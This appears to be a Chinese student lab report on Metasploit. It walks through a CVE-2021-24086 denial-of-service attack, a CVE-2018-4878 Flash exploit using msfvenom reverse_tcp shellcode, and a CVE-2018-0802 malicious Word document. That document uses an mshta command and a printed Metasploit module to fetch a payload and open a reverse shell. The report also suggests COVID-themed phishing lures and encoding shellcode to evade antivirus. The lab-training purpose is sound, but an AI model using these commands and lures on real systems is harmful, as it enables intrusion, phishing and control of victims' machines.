一、实践内容

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。

1 一个主动攻击实践

使用 CVE-2021-24086 对 win7 进行dos攻击

2021年2月9日微软发布了一个安全补丁程序,修复了编号为CVE-2021-24086的拒绝服务漏洞,该漏洞影响每个Windows版本的IPv6堆栈。该问题是由于IPv6分片处理不当造成的。

漏洞介绍

Windows IPv6协议栈存在一处拒绝服务漏洞,此漏洞的根本原因是IPv6的嵌套分片机制中,当尝试递归重组嵌套的分片时会计算内部有效载荷中包含的所有扩展标头,当重组扩展头约为0xffff字节的数据包时,在IPv6 ReassembleDatagram中发生的NULL指针取消引用,发生崩溃。

远程攻击者可通过向目标系统发送特制数据包来利用此漏洞,成功利用此漏洞可导致目标系统拒绝服务(蓝屏)。

本实验使用 Win7 作为靶机来进行渗透测试 Win7 环境说明:IP 地址 192.168.30.165 ,防火墙状态开启。

1 攻击前的准备

  • 查看靶机IP地址
ipconfig

2 执行攻击

  • 使用nessus扫描靶机漏洞

  • 在浏览器地址栏中输入https://kali_ip:8834然后登录进入

  • 点击Policies新建规则,plugins全选

  • 点击myscan新建扫描,随后输入靶机ip地址开始扫描

  • 点进去查看漏洞

  • 下载CVE-2021-24086 POC

  • 执行攻击

  • 目标靶机已蓝屏

2 一个针对浏览器的攻击

Kali Linux + Windows 7 sp1

渗透机:Kali Linux (ip:192.168.30.147)

靶机:Windows 7 sp1 (ip:192.168.30.165)

exp:cve-2018-4878.py

flash:flashplayer_activex_28.0.0.137.exe

  • 使用msfvenom生成shell代码

  • 生成代码,其中lhost为kali的ip地址,lport为自定义的端口号

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.30.147 lport=8888  -f  python>shellcode.txt

  • 查看代码文件
root@kali:~# cat shellcode.txt

  • 进入CVE-2018-4878-master目录,编辑CVE-2018-4878.py文件

将上面msfvenom生成的代码覆盖掉原来的代码:

  • 修改CVE-2018-4878.py下面的文件信息(后面会用到,之后保存修改退出):

  • Kali Linux进入CVE-2018-4878路径,用Python执行CVE-2018-4878-master.py代码
root@kali:~/Desktop/CVE-2018-4878-master# python cve-2018-4878.py
root@kali:~/Desktop/CVE-2018-4878-master# ls -l

  • Kali Linux开启Apache2服务,并将上面的2个文件放入/var/www/html目录中(apache web路径)
root@kali:~/Desktop/CVE-2018-4878-master# service apache2 start
root@kali:~/Desktop/CVE-2018-4878-master# cp index2.html /var/www/html/index2.html
root@kali:~/Desktop/CVE-2018-4878-master# cp exploit.swf /var/www/html/exploit.swf

此时,Kali Linux上Web服务启动,并且具备index.html这个页面。只要靶机启用flash并访问了这个页面,则可以直接被控制。

  • Kali Linux开启Shell会话监听
使用handler监听模块
msf > use exploit/multi/handler
回弹一个tcp连接
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
设置kali渗透机的ip地址
msf exploit(handler) > set lhost 192.168.30.147
设置监听端口,这个需跟上面msfvenom设置的端口一致
msf exploit(handler) > set lport 8888
开启监听,等待肉鸡上线
msf exploit(handler) > exploit

  • Windows7 安装flash插件,并用IE浏览器访问页面

  • Kali Linux 上获取meterpreter shell,并进行管理

3 一个针对客户端的攻击,以office为例

漏洞:CVE-2018-0802

安装office。

检查是否存在漏洞

下载脚本:https://github.com/Ridter/RTF_11882_0802/

输入下面的命令:

python RTF_11882_0802.py -c "cmd.exe /c calc.exe" -o calc.doc

双击打开calc.doc,如果弹出计算器说明存在漏洞:

  • 漏洞利用
  • 将下面的脚本写入到PS_shell.rb。
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
## class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end

将PS_shell.rb放置在/usr/share/metasploit-framework/modules/exploits/windows/smb/

打开msf,执行msfconsole。进去后记得要 reload_all。选择PS_shell脚本,然后开启监听

msf6 > use exploits/windows/smb/PS_shell
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/PS_shell) > show options Module options (exploit/windows/smb/PS_shell): Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.30.147 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port Exploit target: Id Name
-- ----
0 Automatic msf6 exploit(windows/smb/PS_shell) > set uripath wpy
uripath => wpy
msf6 exploit(windows/smb/PS_shell) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.30.147:4444
[*] Using URL: http://0.0.0.0:8080/wpy
[*] Local IP: http://192.168.30.147:8080/wpy
msf6 exploit(windows/smb/PS_shell) > [*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://192.168.30.147:8080/wpy"

生成病毒文件:

python RTF_11882_0802.py -c "mshta http://192.168.30.147:8080/wpy" -o new.doc

new.doc打开之后就是普通word文档的样子,看不出什么异常:

但是打开之后,kali成功收到反弹shell,权限为当前登录用户权限。

这个远程代码执行漏洞最关键的一步是在被攻击机器上打开带病毒的word文件,所以实际场景中钓鱼比较多,取一个让人有打开欲望的文件名,比如之前通报过的新冠感染诊断,武汉旅行信息搜集表等,如果刚好你的系统装了office且没有即时打补丁,恭喜你~

4 辅助模块的使用

metasploit的auxiliary(辅助模块): 包含扫描、fuzz测试、漏洞挖掘、⽹络协议欺骗等程序。

下面,使用PortScan进行端口扫描

命令如下:

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.30.165
exploit

结果如下:

我们可以看到,metasploit帮助我们获取了目标已经开放的端口,由此我们可以推测出靶机可能存在的漏洞和可能提供的服务,进而完成后续攻击。

二、问题回答

1 用自己的话解释什么是exploit,payload,encode

exploit:exploit字面上的意思是“开拓、开发”,而在破解圈子里面,公认的概念可能是“漏洞及其利用”。通俗的说,exploit就是利用一切可以利用的工具、采用一切可以采用的方法、找到一切可以找到的漏洞,并且通过对漏洞资料的分析研究,从而达到获取资料文档、添加自定义用户、甚至侵入系统获得管理员权限控制整个系统的最终目的。

payload:payload 可以理解为一系列信息中最为关键的信息。

encode:通过一定规律的编码算法,将对metaspolit、CS生成的shellcode进行编码/模糊处理/变形,从原始shellcode中删除所有无效的字符,从而逃避杀毒软件检测。

2 实践总结与体会

报错记录:

┌──(root20191317wpy)-[/home/wpy20191317/桌面/CVE-2021-24086]
└─# python3 cve-2021-24086.py
66 fragments, total size 0xfff8
Traceback (most recent call last):
File "/home/wpy20191317/桌面/CVE-2021-24086/cve-2021-24086.py", line 388, in <module>
main()
File "/home/wpy20191317/桌面/CVE-2021-24086/cve-2021-24086.py", line 384, in main
pull_the_trigger(args)
File "/home/wpy20191317/桌面/CVE-2021-24086/cve-2021-24086.py", line 370, in pull_the_trigger
sendp(frags, iface= args.iface)
File "/usr/lib/python3/dist-packages/scapy/sendrecv.py", line 376, in sendp
socket = socket or conf.L2socket(iface=iface, *args, **kargs)
File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 411, in __init__
set_promisc(self.ins, self.iface)
File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 147, in set_promisc
mreq = struct.pack("IHH8s", get_if_index(iff), PACKET_MR_PROMISC, 0, b"")
File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 360, in get_if_index
return int(struct.unpack("I", get_if(iff, SIOCGIFINDEX)[16:20])[0])
File "/usr/lib/python3/dist-packages/scapy/arch/common.py", line 31, in get_if
return ioctl(sck, cmd, struct.pack("16s16x", iff.encode("utf8")))
OSError: [Errno 19] No such device

解决网卡问题,我的网卡名称为eth0,但是脚本中默认为eth1,改过来就好了。

这次实验具体难度体现在,需要找到不同的漏洞进行操作,但是具体操作在网络上都可以找到,所以难度可能就只有在实践过程中遇到过的奇奇怪怪的报错。

3 离实战还缺些什么技术或步骤?

首先是能扫描到局域网内主机或者其他主机的扫描器,其次就是判断扫描到的主机是否安装了我们想要利用的漏洞的补丁包,然后是如果主机有杀毒软件我们应该如何绕过杀毒软件。最后是构造攻击手段,并且通过钓鱼网站或者社会工程学等方式令主机点击钓鱼链接或者木马程序或者我们构造好的恶意文件。

最新文章

  1. window下为apache配置ssl证书
  2. 最短路(Floyd_Warshall) POJ 1125 Stockbroker Grapevine
  3. css杂记
  4. hdu 4593 Robot
  5. [原创]SSIS-WMI 数据读取器任务:监控物理磁盘空间
  6. #include &lt;boost/array.hpp&gt;
  7. Jupyter Notebook通过latex输出pdf
  8. ThinkPHP模板的知识(比较全的知识)
  9. adb 安装apk 报错:Failure [INSTALL_FAILED_INVALID_URI]
  10. web实现数据交互的几种常见方式
  11. MarkdownPad2测试
  12. flash中调用XML遇到的中文显示异常问题
  13. C#删除文件夹以及删除文件
  14. adblock 下载地址
  15. 阿里云-centos7.2-LNMP-编译安装-记录
  16. Making a view in a listview invisible android
  17. RestTemplate 发送 get 请求使用误区 多值为null
  18. 为什么Java匿名内部类访问的外部局部变量或参数需要被final修饰
  19. 『PyTorch』第七弹_nn.Module扩展层
  20. link和@import的区别是什么 ?

热门文章

  1. day03-模型数据
  2. C#DataTable(转List /JSON/字典 互转)
  3. spring in action day-06 JMS -ActiveMQ Artemi
  4. ECharts 饼图切换数据源bug 开始没数据显示 切换或刷新后显示
  5. JuiceFS 在火山引擎边缘计算的应用实践
  6. 【源码】RapidJSON 源码剖析(0):关于 RapidJSON
  7. Powershell获取当前文件夹内所有一级子文件夹大小
  8. CCRD总目录(2007年至今,动态更新中)
  9. Mars3D与第三方集成
  10. MySQL 查询常用操作(0) —— 查询语句的执行顺序